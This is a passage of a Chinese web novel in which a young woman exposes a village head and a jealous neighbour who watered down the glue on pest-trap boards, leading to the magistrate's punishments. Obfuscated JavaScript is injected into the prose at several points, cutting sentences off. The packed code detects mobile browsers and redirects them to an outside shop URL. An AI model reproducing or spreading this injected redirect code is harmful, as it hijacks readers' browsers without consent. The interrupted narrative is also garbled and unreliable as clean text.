好在万宝村就在县东不远，半柱香的功夫，傅德清的马车便叮当响着跑来了。 他顶着肥硕的身子从马车上下来，乍见乔元几人，眼珠一提溜，便知是乔元在知县面前给他上眼药了。 傅德清挤开乔元，给了她一记眼刀，这才走到周进跟前，“大人传召，可是有何要事？” 周进手上拿着扇子，随意地敲打在木桌上，他道：“你们村这蚜害怎的还没除尽？” 傅德清一听是为了这事儿，他下弯的背直起些许，“这便要问乔姑娘了。我们村这蚜害，可不是由她来负责除去的？” 乔元笑笑，上前同傅德清站成一排，不卑不亢道：“大人，这便是这事儿奇怪的地方。我们石湾村送给万宝村的黄板可都是顶好的，上头的胶也糊的又多又厚，怎么整个金台县就万宝村的蚜害还没除尽？” 傅德清撇了撇嘴，“你说的轻巧，天知道你是不是故意给我们万宝村送上些差的黄板，害得我们村的农事至今还未完全恢复。” 乔元看向傅德清，“傅里正这是话里有话？” 傅德清不做回应，面朝周进道：“大人，乔姑娘既说她们石湾村送的都是顶好的黄板，但我们万宝村这蚜害没除尽也是事实。不如这样，劳烦大人一齐去万宝村瞧一瞧，也好还我们村一个清白。” 乔元也不虚，“正有此意。” 一个两个吵的周进头疼，他冷眼看了看躬身站在他面前的二人，吐出一句，“备车。” 傅德清还以为乔元有多大的能耐，见她这么着急应下去万宝村当面对质的事儿，他面上的笑意愈发大了些。 果真还是年纪小经事少，一激将便沉不住气了。也不知道上次他怎么就输给了这样一个黄毛丫头。 傅德清高昂着头颅离开，在经过乔伯石时，特意慢下脚步看了他一眼。 乔伯石有些不自在地避开傅德清的目光，垂在身侧的双手下意识紧握。 乔元走在后头，将二人之间的互动尽收眼底，她不动声色道：“里正，伯石叔，我们也走罢。” 周进同傅德清的马车先走，乔元几人的牛车跟在后头，乔伯石使出了吃奶的劲儿，这才勉强没让牛车落后太多。 等他们到万宝村的时候，傅德清已经陪着周进已经在地里转完一圈了。 周进一见乔元几人过来，冲乔元怒斥道：“你自己过来看看！” 看样子事情还不小。 乔元装做忐忑道：“是，是，小人这便去看。” 里正有心想为乔元说上几句，但一见周进的脸色，又把话咽了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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接过乔元手中的黄板，周进翻来覆去看了几遍，未觉有什么不妥，他道：“你说，这黄板到底有何不妥？本官瞧着这东西同你先前在县衙制的，倒是无甚区别。” 傅德清站在一旁很是得意，这批黄板已经在地里挂了两三天了，愣谁都瞧不出有什么区别。 乔元看了一眼还在一旁兀自高兴的傅德清，轻道：“这黄板上的鱼胶被人掺了水。” 她这话一出，方才还兴致高昂的傅德清猛地瞪大眼睛，“你怎——” 话未出口，他急忙捂住嘴巴。 怪异的行为惹得周进皱眉看了他好几眼，“你若是有话便说。” 傅德清将要出口话咽下，转而道：“乔姑娘，这黄板是你们石湾村送过来的，你的意思是你们村人有人故意往送给我们万宝村的黄板里掺水？” 乔元笑笑，“正是如此。” 傅德清愣了一下，这姑娘是傻了不成，她这么直接应下，岂不是将这罪责往自己身上揽。 周进也没料到乔元连辩驳都不说一句，他道：“当真是你们村人做的？” 眼看州里巡查在即，这可不是小罪，站在一旁的里正也有些发蒙，“元姐儿，你这话是什么意思？” 乔伯石的手紧了又紧，脸色有些泛白。但此刻众人的注意力全集中在乔元身上，竟是无人发觉。 乔元看向傅德清道：“此事由我石湾村而起，傅里正说什么我们村都认了。” 傅德清他狐疑道：“此言当真？乔姑娘何时也能代表整个石湾村了？” 乔元道：“我自是不能代表整个石湾村，不过我们村里正就在这处，只要傅里正提的条件不过分，我们石湾村定会认罚。” 冲里正眨了眨眼，里正知这丫头又在打什么鬼主意，心下稍安了些。 傅德清努力压着不断上扬的嘴角，缓缓道：“乔姑娘爽快，那我便……” “不过，”乔元突然打断他的话。“有一处我倒是有些疑惑，整个金台县的蚜害都除得七七八八了，万宝村的蚜害还是如此严重，傅里正竟是从未起疑吗？” 这话倒是不错。 周进看向傅德清，面露不快，“你若早些来禀报，现如今这蚜害也快除尽了。” 傅德清面上的喜色僵在眉眼处，“大人冤枉，我自然是因为相信乔姑娘同石湾村，这才并未过问这黄板的来历。” 乔元点头，“看来傅里正当真是信任我们村。既如此，还请傅里正说出你的条件罢。” 见无人起疑，傅德清清了清嗓子，重新开口道：“乔姑娘既这么说了，那今年秋收你们村需我来垫付的那三成田税，便免了罢。” “不可！”众人还未反应过来，站在最远处的乔伯石骤然出声。 周进被他突然的叫喊声吓得身子抖了一抖，他朝乔伯石怒道：“你叫喊些什么！” 里正见周进动怒了，慌忙拉着乔伯石躬身道，“伯石他只是太心急了，还请大人息怒，息怒。” 乔伯石面色惨白，拂开里正的手，软下双膝竟直接跪在众人面前。 高个汉子的脊背弯的不能再弯，里正有心想扶他起来，他却硬是不肯，低低吐出句话，“这鱼胶里的水，是我掺的。” 此话一出，在场众人俱是惊诧。 只有乔元看向乔伯石，目光淡然。 终于把你钓出来了。 51. 插曲 乔伯石这话无异于平地惊雷，站他身前维护他的里正往后退了一步，不可置信道：“伯石，你在说些什么？！” 傅德清痛同样被他这句话吓了一跳，他两颊的肉块颤动了几下，面色由晴转阴。 他怎能这么轻易就认下罪来！ 乔伯石的头接连磕在地上，泥沙糊在他的额前，整张脸像是被截成上下分明的两半。 “这事儿是我做下的，同石湾村人无关，请大人明察。” 来金台县多年，周进好歹也断过不少案子，他端出坐堂的样子，斜眼睨向乔伯石，“你且说说。” 乔伯石伏在地上，身子有些发抖。 他虽跟着里正多次来到县衙，但还是第一次回知县大人的话，他磕磕绊绊道：“上回傅里正同乔元对赌落败后……便对我等石湾村人怀恨在心。” “我们村人每每来万宝村送黄板，总会受到傅里正为首万宝村人的奚落。” “日子渐长，我忍不下这口气，便想往鱼胶里头掺些水，好让他们村的蚜子再害些日子。” 里正从未想过跟随他多年的乔伯石会做出这样的事来，他手上的拐杖重重捶地，一下又一下，面上罕见地露出了焦急的神色，“伯石，你糊涂，糊涂呀！” 周进点点头，“照你如此说，便是你对傅德清怀恨在心，故而蓄意往鱼胶里头掺水，以此来坏了万宝村的黄板？” “是。”乔伯石人虽如惊弓之鸟，却还是应了下来。 眼看州里的巡查不日便要到了，居然有人敢在这样的节骨眼上生事。周进两眼眯成一条线，吩咐属吏道：“去，把这狗东西给我拖回县衙，先打三十大板，再丢给巡检司，他们要怎么处置便怎么处置。” 乔伯石毕竟跟在自己身后这么多年，他纵然有错，但一听周进如此重判，里正仍是于心不忍，对着周进哀求道：“大人，伯石他只是一时糊涂，还请大人饶了他罢。” 跪在地上的乔伯石撑起他无力的身子，一遍遍伏地求饶，“大人，饶命啊大人。” 周进连半分目光都不分给他，对属吏道：“还不动手？” 属吏听令刚要将乔伯石拉走，冷眼瞧着这番闹剧的乔元出声道：“大人且慢，小人还有一事不明，可否容小人问询？” 事情办的如此不妥当，还有脸拦他，周进皱眉看向乔元，耐着性子道：“你还有什么话说，若是求情便莫要开口了。” 乔元道：“此人延误知县大人的要事，自然是罪不可赦。可这万宝村的黄板数目并不小，送来的鱼胶少说也得五桶，每次都由他一人将这鱼胶掺水，小人只怕，还有同伙。” “元姐儿！”里正低声道，伯石已然如此，她还火上浇油，她到底想要做些什么。 乔元没有回答里正，倒是周进对她的话深以为然，他道：“乔伯石，你可还有什么同党？” 乔伯石这回答得迅速，“没有同党。” 周进冷哼道：“你若老实些说，我还能饶你一死。若你咬死不说实话，我即刻便要对你用刑了。” 乔伯石齿间抖地厉害，“都是我一人所为，没有任何同党。” 眼看周进的火气又上来了，乔元适时阻拦道：“大人，不若让我来问问他。” 得到周进首肯，乔元问道：“伯石叔，敢问你在何处将这鱼胶掺水？” “这……”乔伯石一下被问懵了。 乔元道：“石湾村的鱼胶送出的时候，都统一封盖，不到目的地绝不打开。在中途掺水绝无可能，那想来，便只能是在万宝村了？” “是……是在万宝村掺的。”乔伯石应道。 乔元将目光转向一旁的傅德清，“乔伯石说是在万宝村将这水掺到了鱼胶里，傅里正可知情？” 傅德清此时看着镇定，手心里已经是一片濡湿。见乔元问他，急忙否认道：“他做这等恶事，我怎会知情！” 乔元笑道：“看来傅里正的确贵人事忙，你们村的黄板每三日便要送一次，这么久以来，你竟一无一次发觉乔伯石在你们万宝村往鱼胶里掺水，岂不怪哉？” 傅德清的腿肚子有些立不住，“他奸诈狡猾，都是趁着无人做的这事儿，我怎会知情。” 乔元了然道：“乔伯石既是在万宝村做的恶，那定有见到他作恶的人，不若这样，我们将村民聚到一处，仔细问询，定能找出他的同伙。免得还有人从中作梗，坏了大人的大计。” 后半句话，乔元是对着周进说的。 这次的巡查到访对周进来说至关重要，乔元此言很对周进的胃口，他对着傅德清道：“傅德清，你即刻便去将人给我集中到一处，半刻钟后人若是没齐，我拿你是问。” “这……这……大人。”眼见事情越闹越大，傅德清哭丧着脸，看着面前处变不惊的乔元，第一次有了悔意。 —— 不多不少半刻钟，万宝村能来的人已经全数聚在在村中的空地上。 周进站在最高处，俯视下面人头攒动。 知道最高处站的是知县大人，万宝村人只敢低声私语着，不敢大声说话怕惊扰了贵人。 下头的矮地上，乔伯石灰头土脸地站在里正身后，眼神呆愣，不知在想些什么。 见人来齐，周进朝乔元道：“你去，将剩下的人给我找出来。” 乔元依言，上前一步。 万宝村的村民见站到前头的是个姑娘家，有些生奇，但她跟在知县身边，想来也是个贵人。 无人敢多说什么，空地渐渐安静下来，众人俱是凝神细听她要说些什么。 乔元的目光扫过在场众人，朗声道：“诸位，今日将大家聚在此处，为的便是万宝村蚜害一事。” “万宝村蚜害多日未除，并非黄板无用，而是他在送给万宝村的鱼胶里头掺了水。” 说完，她指了指站在矮处的乔伯石。 乔元此言一出，面前的万宝村民像是水入油锅，眨眼间沸腾起来。 “我说怎的我三婶娘家的蚜害都除完了，我们村的还未除尽。” “那不是石湾村的乔伯石吗！” “你认得他？” “你瞧，那前头站着的不就是他们村的里正。” “我说他们村怎的这么好心，每次都让他来送黄板。我还以为是个热心肠呢！” “这人瞧着倒是老实，如何能做出这样的事儿来。” 声讨声宛如浪潮，一声高过一声。有人忍不住想上前打乔伯石几拳出气，还好属吏在一旁拦的及时，并未闹出什么事儿来。 乔元趁着间隙，将剩下的话一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085234|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完。“为防还有同伙，这段时日大家见到谁人与他相处，或是与他有关联的，烦请事无巨细全数告知于我。” 村民们虽不知巡查要来的大事情，但蚜害事关万宝村今年的生计，眼见别村的蚜害都已经好转，偏生他们村的到如今还是这副模样，身为农人，谁人能不心焦。 场面闹哄哄地乱了一会儿，不过便有人开口了。 “姑娘，我前几日见他在田西找赵六说话。那日并非送黄板的日子，我瞧他来到此地，还觉得有些意外。” “对，姑娘我记起来了，我似也见过这人，有一日晚些，他身后还跟着个同他相似的半大小子。” 有人开口，后面的跟着回话的人只会越来越多。 眼见乔元手头上的证据不断充盈，候在一旁的傅德清连指甲嵌入肉中都浑然未觉。 将有用的信息和见过的人留下，又烦请属吏将那些同乔伯石有过接触的人分别集中在一处。 待做完这些事儿，已经是半个时辰以后了。 村民们提到的赵六、马强之流，已经全数被叫到了乔元面前。 乔元看着这几个身材精瘦，同方才村民明显不是一路人的汉子，“如今是在知县面前，几位还请老实将来龙去脉说清，或可免除罪责。” 为首的赵六一脸痞样，“要说我们也是同知县说，哪里轮得到你这样的小娘子。” 乔元一听，直接让出一条道来。“请。” 上头的周进面容严肃，正直勾勾盯着他，赵六的面皮子有些挂不住。他平日里挑姑娘媳妇的刺惯了，方才顺嘴一说，这姑娘好歹也拦一下不是。 乔元站在一旁双手抱胸，“知县就在上头，你且说罢。” 为这几个刁民的事情闹到现在，周进单手撑头，额上的青筋直跳。 赵六一瞧，吓得忙缩回眼，生怕这知县老爷将他下狱了，他惶恐道：“我同乔伯石见面，不过是他找不见他儿子，来问我而已。” “儿子？怎么回事？”乔元敏锐问道。 “不就那日，他儿子不知为何跑到了我们万宝村，他久寻不见到，恰巧遇上我便问了我几句。” 乔良继同这事儿又有什么关系？ 乔元追问道：“你们还说了什么？” 赵六回忆了一会儿，“不曾了，我只记得他来问他儿子，我当时还奇了，他石湾村的孩子怎么会到我们万宝村来。” 乔元点头，问出最后一个问题，“你可曾与他一同在鱼胶里掺了水？” “不曾不曾，我就算再犯浑，也不敢做这样的事儿。”赵六立马摇头，“万宝村人都靠这些田地吃饭，谁人会做这样损阴德的事儿。” 有了前头的赵六打样，后头的马强等人开口便顺溜多了。 问完一圈下来，得到的情报倒是比乔元想象中的还要多。 按这几人的说法，几日前，乔伯石忽到万宝村，说自己儿子丢在万宝村了，他问询了不少人，在村里跑了好几趟，这才在一处旧宅院前找到了乔良继。 而那处旧宅。 乔元扫了一眼离得远些的傅德清，恰巧是傅家用来做村头赌坊的。 万宝村本就富庶，村人闲暇时候也多爱玩些骰子、牌九，但乔良继不过十六七，混到那处去，便有些耐人寻味了。 52. 赌坊 傅德清的面盘已然难以维持，他自认为周密的谋划，眨眼间便被乔元破了个七七八八。 乔元望向他的目光尖利如矛，他甚至都能想到周进知道实情后，该是怎样大发雷霆。 眼见乔元已经抬步向周进走去，傅德清嘴里空余急促的喘气声，咿呀半晌，却说不出一完整的句话。 完了，一切都完了。 乔元步履稳健，各中原因，她甚至都不用去细想。 乔伯石此人，初见其勤勤恳恳心系村人，细接触后，才觉其心中亦有对于地位名望的渴望。 但乔元到石湾村田地的第一天，是他请里正在村中主持大局。黄板开始推行，也是他在各个村中游走。 说他心头有些小心思，乔元自是相信，谁人不想当上一村里正。但说他会因一己之私，在鱼胶中掺水坏了整个石湾村的声誉，乔元却是不信。 她引着傅德清说免除应下的三成田税，便是想让乔伯石将原由说出来。 只可惜他宁可自己做这个出头鸟，也不愿再多说一句。 直到乔良继这条线索的出现。 此刻，乔元站在周进身前，便是要赌一把自己的猜想。 朝神游天外的周进躬身行礼，乔元道：“禀知县，小人已将此间事情了解清楚，同伙就藏在村头赌坊。” 周进回过神来，惊道：“赌坊？” 景朝有律明令禁止私设赌场，万宝村怎么会有赌坊？！ 远处的傅德清闻言，已经吓得快瘫倒了。 周进从藤椅上弹起身来，快步冲向他。一直被他带在身上的乌木扇子扇柄朝下，直接敲向傅德清的脑袋。 “你的猪脑子是被驴踢了？你敢在村里设赌坊？” 傅德清一个马趴跪在地上，“……大……大……大人。” 周进双手叉腰，又抬腿怒踢了他好几下，直到傅德清在地上痛的翻滚，这才勉强停下。 “蠢出生天的东西，我瞧你爹也是个人物，怎的能生出你这样的东西来？” 傅德清痛得无力再回周进的话，只得躺在地上哼哼。他现在便是再后悔，也来不及了。 周进拍打几下胸口顺了顺气，随意挑了个余下的村人道：“你，带我去你们村的赌坊。” 赌坊这事儿，可大可小。 往小了说，哪村哪店，没这些个污糟玩意儿。但这事儿抬到明面上，便不能善了了。巡查将至，对周进来说，任何一个错误都会放大，一旦犯错，便足以影响他往后六年的政绩。 万宝村本就在他计划之内，他如何能不盛怒。 往日在村中不可一世的傅德清，此刻躺在地上像条死狗。被点名的赵六，同样抖若筛糠。 赌坊对乡间农人太过常见，未曾想这二字居然能引起轩然大波，他双腿打着摆儿，很是后悔将赌坊的事告诉这姑娘。 如今事情已经不可转圜，赵六只得硬着头皮将人往赌坊带。 一行人浩浩荡荡到了赵六所示的赌坊，所谓的‘赌坊’，从外头看去不过一处寻常人家的旧宅院。 宅院大门紧闭，隐约能听到里头摇晃骰子的声响。 周进朝赵六看了一眼。 赵六哪里还有不懂的，上前敲了敲门环，“开门。” 里头有人应声，“谁人？” “连你六爷的声都听不出来了？”赵六粗声道。 里头人“哈哈”一笑，“同你玩笑罢了，今日怎的来这么早。” 暗棕色的大门被打开，守门人甚至来不及反应，便被属吏压在了身下，“哎呦，哎呦，你们是谁？你们要干什么？！” 周进带来的属吏不多，他一抬手，属吏们便一股脑儿全涌了进去。 乔元跟在周进后头往里走，几步下来，当真是开了眼。 瞧着不大的院落，里头的赌桌上，牌九、骰子、应有尽有，还放了几盘打马。 每张桌子上都放着一小碟咸盐炒豆，想来是给赌徒的零嘴。 他们来时正直晌午，日头又毒，院子里头倒是没人。 属吏们入了屋，只听得一阵骚乱过后，里头的人全数被押了出来。 这些人被抓时候满脸茫然，但见属吏身上的官服，还有什么不明白的。 人群颓然被集中在一处，乔元仔细端详了一会儿，眉心收拢，不过是些寻常农人。 “里头可还有……”乔元话到一半，突然被人高声打断。 “你们是什么人！敢到我处撒野？” 声音从二楼传来，乔元仰头一瞧，身形臃肿的少年人正透过窗户同他们叫板，一张脸庞同傅德清像是从一个模子里刻出来。 乔元将剩下半句话咽回嘴里，扬起唇角。 得来全不费工夫。 周进也看到了窗户边的少年，未等他吩咐，安置完一楼赌徒的属吏们，已经重新入内往二楼走去。 楼上的动静倒是比一楼更大些，听得屋内传来茶盏碎裂和桌椅倾倒的声响，费了一会儿功夫，五六个少年才被反手押了下来。 为首的少年发冠松了不少，头发有些溜丝，想来是同属吏打斗所致。他望向周进怒目圆瞪，“你居然敢这样对我！你知道我爹是谁，知道我爹同谁交好吗？” 周进来了金台县这么久，除了江稷，还没见过谁人能和他叫板的。 他冷哼一声，“你倒是给我说说，你爹有多大能耐。” 说罢，周进朝属吏递了个眼神，属吏会意，将少年人的手松了出来。 少年人用力甩了甩被属吏压着的手腕，眼里透出不屑，“我爹可是这万宝村一带的里正，我爹同知县大人，那可是拜把子的交情。” 周进听到他这样回答，上下打量了他一番，像是在看什么世所罕见的蠢货。 末了，他顿了半晌道：“你家……真是……” 见来人丝毫不畏他家权势，身后的兄弟们还在眼巴巴地看着，少年人觉得面上有些挂不住。 他拿起桌上的咸盐炒豆就往周进身上一砸，“你笑些什么，既知道我是谁，还不快些将人放了？” 头一次见人如此自寻死路，乔元拿手遮眼，心下都有些不忍再看。 少年人砸了周进一下，还同身后的几个小兄弟解释，“你们莫怕，我爹同知县大人关系好着呢，况且我同知县大人同席吃过酒，怎会怕这些个当官的。” 他话甫一出口，下一瞬就被周进踹翻在地。 少年人哀嚎躺地的姿势，和他那个蠢爹也是像了个十成十。 周进找了张椅子坐下，胸脯剧烈起伏着，他怎的从前未发觉，傅家是这样不中用的人家。 站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099651|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在后头里正同乔伯石，还有跟着来的其余村人，也被周进突然的怒意吓了一跳，齐齐躲在后头不敢发出一点声音。 乔元见状，下蹲在地同少年人解释道：“你可知坐上是谁？他便是我们金台县知县大人。” 傅鹏池面上汗涔涔，圆盘大的脸庞一下便涨成了猪肝色。 他哪里知晓知县大人长什么样子，他说同知县同席吃饭，不过是知县大人新来的第二年，邀了各处的里正吃饭，那日席面上那么多人，知县被围在最里头，他不过远远瞧一眼罢了。 乔元直起身来，看向后头被属吏压着的几个少年。 得到周进首肯后，她开口道：“你们村的黄板出了问题，现下知县大人查出帮凶就在你们中间，若有知道实情的，还是早些开口免受皮肉之苦的好。” 乔良继不会无缘无故地往赌坊跑，一个少年，也不会同成年农人搅在一处。 最有可能的，便是同龄的小子们。 见傅鹏池栽了这么大一个跟头，上头坐的还是知县大人，余下的少年人你看我，我看你，各个脸上都如霜打的茄子般。 “我什么都不知道，是他们做的，是他们做的！”蓦地，一个靠后些的瘦弱少年开口道。 傅鹏池顾不得痛起身骂道：“丁彦你在胡说些什么！我们什么都没做过！” 他爹同他交代过，黄板这事儿绝不能认下。 丁彦面上划过一道冷汗，眼睛不住乱瞟，顶着压力道：“是，是傅鹏池干的，就是他干的。” 有人开口，事情就好办了。 乔元将人从属吏手里解放出来，“你说仔细些。” 丁彦正要开口，傅鹏池又在一旁叫喊起来，“你再胡说我打断你的狗腿。” 这回甚至轮到不周进动手，乔元指挥属吏按住傅鹏池，找了一块擦桌的麻布直接塞入他口中。 聒噪！ 周进点了点头，紧皱的面庞舒爽几分。 这丫头是个能办事儿的。 见傅鹏池被制住，丁彦的胆子更大了些，他道：“禀大人，是傅鹏池骗了来送黄板的乔良继，激他上桌赌钱。待乔良继输光了钱财，便说若他能将看守鱼胶的人引开，带他看看鱼胶，便能免去他今日输的钱。” 乔元闻言，皱眉吐字道：“看守鱼胶的人一走，你们就往里头掺水了？” 丁彦支吾道：“是。” 乔元问道：“有多久了？” 丁彦想了一下，道：“有小半月了。” 方才在空地上，周进没有细听那些农人说的话，现下一琢磨，这事儿不对啊。 “这水不是乔伯石掺的，是你们掺的？还掺了小半月？” 丁彦见知县大人问话，摆手道：“大人，我……我就负责望风，水是他们几个人掺的，真的不关我的事儿啊！” 周进无心同一个小儿掰扯，他将乔伯石叫到前头来，“你为何应下说是你自己往鱼胶里掺的水。” 真相被揭穿，乔伯石知晓事情已经藏不住了，他跪在地上，垂眸流泪，“大人，小儿受骗擅离职守，连累石湾村同万宝村，我自知此事罪无可恕，愿替他承担一切罪责，只求大人看在他年幼的份上，饶了他罢。” 闻言，周进面色骇得吓人，指挥属吏，“去，把傅德清给我带到这儿来！” 53. 意外 傅德清被属吏架过来的时候，人已经瘫着不敢动了。 周进在他身旁转悠几圈，瞧他那没出息的样子，终究还是恨铁不成钢地坐了回去。 “鱼胶里头的水，是你是指使你儿子掺的？” 傅德清身子猛地一颤，摇摇头，旋即又点头。 “说话。”周进不耐烦地‘啧’了一声。 傅德清露出个扭曲的哭脸，“……是。” 周进将脸朝他凑近些，高位者的气势显露出来，“蚜害治不好，于你到底有何好处？” 今日受到的打击太多，傅德清脑中已然乱成一团浆糊，如何能分说的清楚。 周进一看他那唯诺的样子就来气，冲一旁道：“乔伯石，你来说清楚。” 乔伯石虽身材高大，但此刻的他比起傅德清来，也好不到哪处去。 他深吸一口气，用舌尖抑住上下打颤的牙齿，这才道：“前段时日我发现家中银钱失窃，盘问下才得知是儿子良继所为……” 乔伯石说的有些磕磕绊绊，但内容同丁彦说的大差不差。 乔良继被傅鹏池激将到赌坊，同他们赌骰子玩牌九。 初时，乔良继日日还能赢上不少。但后来赌注越来越大，不过几日，他便将从家里偷的钱输了个精光。 故而当傅鹏池提出要看鱼胶的时候，他甚至没有半分犹豫便答应了。 熬好的鱼胶该是粘稠又剔透的，但后来这段时日，万宝村的鱼胶明显稀拉不少。 石湾村来送黄板的人日日同鱼胶打交道，怎会没有察觉。 傅德清平日言行遭人忌恨，刷鱼胶的几人也是看破不说破。就这样，用着掺了水的鱼胶刷了小半月。 待乔伯石发现时，此事已然秘密进行了很久。 说完这这一切，乔伯石便跪在一旁没发出丁点声响。 任谁听来，他同乔良继二人，都是实打实的受害者。 乔元在一旁无意识地摩挲指尖，如果她没见到那日乔伯石同傅德清出入酒楼，她定会信了这套说辞。 她同傅家的梁子已经解不开了，傅鹏池要往鱼胶里加水，无非是想让她治不好蚜害下不来台。 那乔良继呢？为何知情不报？ 甚至……还有乔伯石，又为何默许这件事。 若非她今天故意将这件事引出来，乔伯石会选择处理好一切，让蚜害逐渐减轻；还是同他儿子一样置若罔闻，任由傅德清在她毫无准备的时候咬她一口。 指尖有片刻停顿。 是后者！ 乔元定下心神，开口道：“那日你去同傅里正出入酒楼，为的是商讨如何将这祸事甩到我头上罢？” 乔伯石身子一僵，她怎会知晓他同傅德清去了酒楼！ 见他如此反应，乔元的眸色渐渐冷了下来，语气淡然得可怕：“你们是不是觉得，鱼胶上掺的这点水，被日头晒干了，我不论如何都发现不了？” “只要我找不出原因，除不掉万宝村的蚜害，你们二人只肖装做不知，最终在知县面前被处置的便是我？” 场面一时落针可闻。 一旁的周进眼眸动了动，粗短的手上拈了碟咸盐炒豆。 半晌过后，乔伯石沉默点头。 候在一旁从头到尾没说过话的里正，终于忍不住，双手攥紧拐杖，直接甩到了乔伯石背上。 “乔伯石！” 乔伯石咬牙受了里正一击，半只手掌撑住往前倾倒的身体，索性将话都说了出来，“你制出黄板，在村中的地位蒸蒸日上，连里正也视你如同亲孙女，对我却大不如前。你如此轻巧便夺走了我的名望地位，那我苦熬的这十几年算什么？” 里正不可置信地后退一步，他一向觉得伯石沉稳老实，却不知在他这副皮囊下，还埋藏着这样的心思。 乔元利落打断他的话，“不过是你痴心妄念，与我又有何干！” 她站至乔伯石面前，迫使他同她对视，问出最后一个问题，“我引傅德清说出退回三成田税时，你为何要突然出声应下罪责。” 他们明明可以咬死她，为什么最后又松口了。 乔伯石转头看一旁的战战兢兢的傅德清，嘴中苦涩，“他骗了我。” 傅德清分明同他说好，只要二人齐心，将这祸事推到乔元头上。周进一怒之下，乔元必定落不到什么好下场。 可谁知到了关键时候，他却变了卦，不仅想踩死乔元，还想将三成田税的钱要回来。 三成田税，得整个石湾村人不眠不休种多少麦子才能赚得回来。 他终究还是不忍心。 如今落得这样的下场，的确怪不了别人。 乔元掸了掸触碰到乔伯石的袖口，退居一旁朝周进躬身行礼道：“大人，我的话俱已问完，请大人定夺。” 周进拍拍手，倒是许久没见过这样的好戏了，他朝乔元道：“乔姑娘，如今瞧着你才是这苦主。” 乔元面色不变，“万宝村百姓无故受害至今，他们才是这件事的苦主。” 能力出众，心胸豁达，周进看乔元倒是愈发顺眼了起来。 他扫了扫下头几人，各个眼瞳里俱已没了神彩。 若他只是看戏人，这的确是一出好戏。 但如今他也身在局中，这些要挡他升官路的人，便留不得了。 “傅德清。” 被叫到名字的傅德清认命般闭上眼，等待周进宣判。 “你在村中私设赌坊，纵容幼子行不义之举，罚没你半数家产充公，剩下的尽数用来治理万宝村蚜害。至于这万宝村里正的位置，自今日起你便退位让贤。” 傅德清瘫软伏地跪拜，“谢大人。” “乔伯石。” “小人在。” “你虽未行祸事，却因妒忌他人功劳而起恶念，我念你家境贫寒且在石湾村多年辛劳，罚你入三月劳役。” “谢……大人。” 周进在宣判的时候，乔元正抬头望着广袤的天穹。 整件事里，人人都有着自己的心思，人人都是加害者。 不过巧的是，所有人最后的目标，都是她。 闹剧结束，傅德清同乔伯石被属吏带回县衙结认罪书。 连带傅鹏池几人，也一并被带了过去。 周进审二人的时候并不避人，如今万宝村人都聚在旧宅门口，面带百态。想来没过多久，消息便会传遍整个金台县。 乔伯石的事出的意外，他的话语字字刺心入肺，里正站在一旁，像是瞬息苍老了好几岁。 若不是有拐杖支撑，他怕是下一瞬就要躺倒在地上。 乔元上前扶住里正，瘦弱的老者眼角泛红，他拉着乔元，脸上的皱纹像是要低垂到地上，“元姐儿，是我对不住你……” 乔元接住他枯槁的手，“此事同里正无关，不过是他自己个走岔了路。你看，我如今不是没事儿吗？” 里正还想再说什么，乔元却摆摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安安静静走了一段，见乔元始终没有开口的意思，江稷忽然道：“我收到温从行的消息，后塘镇的知县，已经被革职查办了。” 这事倒是意外。 乔元抬眸看他，眼里多了几分探究。 江稷偏头看她，见她有了些许言谈的欲望，同她将来龙去脉解释了一通。 “所以你们那日同他说那许多，其实是在诓他让他放松警惕？”乔元问道。 江稷将缰绳换了个方向牵住，“温从行从小便在人精堆里长大，这事儿他比我擅长。” 乔元想起路途中他们二人斗嘴的样子，嘴角有了些许笑意。 江稷偏头瞧见，也不戳破，接着道：“新上任的那位知县底细干净，是穷苦出生，靠着科举一步步走上来的。有他在后塘镇，严家的日子，想来会好过许多。” 提起严家，乔元眼前不禁浮现出严元雁的样子，她叹道：“若真如此，便好了。” 初见江稷时，二人还闹得很不愉快，未曾料到他们还有能这样牵马散步的时候。 乔元拍了拍自己的脸颊，努力让自己打起精神些，看向身侧的青年，“巡检使，你可认识靠谱的牙人，手上有院落要卖的？” 江稷愣了一愣道，“你想买房？” 乔元如今手头上存下的银钱，有不少是江稷给的，想搬家这事儿她也不打算对他隐瞒。 “对，我想带着我的家人，搬到金台县来。” 江稷虽不知是什么事情让她动了这样的念头，但他还是一口应下，“这事儿我帮你留意着，若有合适的，我派人通知你。” 乔元对他笑得粲然，“多谢。” 石湾村虽好，但难保以后还会有这样的事情发生，她要带着家人一路往高处走，走到无人敢伤害他们的地方。 54. 搬家（一） 金台县东专门辟了一处地方，留给过路商旅租赁车马。 乔元同江稷行到此处时，车马行里仅剩的几匹马毛发枯黄，卷着蹄儿，无神地站在围栏里望着来往商客，等着一个在外跑动的机会。 江稷到马厩中挑了一匹相对强壮些的马匹，又叫管事的配上合适的车架，这才将乔元送上车。 乔元坐上车，掀开车帘望向江稷，面上已经没了先前的颓然。“今日谢过你多回，我便不说这些虚的了。待我搬家那日，请大人上门喝酒。” 